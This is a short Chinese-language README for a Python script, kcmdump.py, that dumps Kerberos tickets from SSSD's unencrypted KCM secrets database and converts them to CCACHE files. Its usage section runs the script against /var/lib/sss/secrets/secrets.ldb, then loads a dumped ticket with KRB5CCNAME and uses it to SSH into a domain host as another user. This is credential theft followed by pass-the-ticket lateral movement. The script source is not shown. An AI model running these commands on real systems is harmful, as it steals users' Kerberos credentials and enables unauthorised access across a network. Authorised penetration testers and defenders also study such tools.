用于转储 SSSD 使用的 KCM 数据库并以 CCACHE 格式恢复 Kerberos 票据的快速脚本。
最初基于 SSSDKCMExtractor 和 KCMTicketFormatter。
自 版本 2.0.0 (2018-08-13)起,SSSD 的 KCM 响应器的后端存储不再加密数据库内容。然而,它仍然依赖 LDB 数据库(其本身基于 TDB),这使得可以通过类似 LDAP 的查询轻松搜索。
SSSD 使用一种自定义的存储格式来保存 Kerberos 票据,可使用此脚本将其转换为标准的 CCACHE 文件。
$ apt install python3-construct python3-ldb
$ python3 kcmdump.py /var/lib/sss/secrets/secrets.ldb
$ ls -lh
-rw-r--r--. 1 root root 1.3K Jan 1 00:00 user_0.ccache
-rw-r--r--. 1 root root 1.8K Jan 1 00:00 kcmdump.py
$ KRB5CCNAME=user_0.ccache klist
$ KRB5CCNAME=user_0.ccache ssh [email protected]@target.corp.local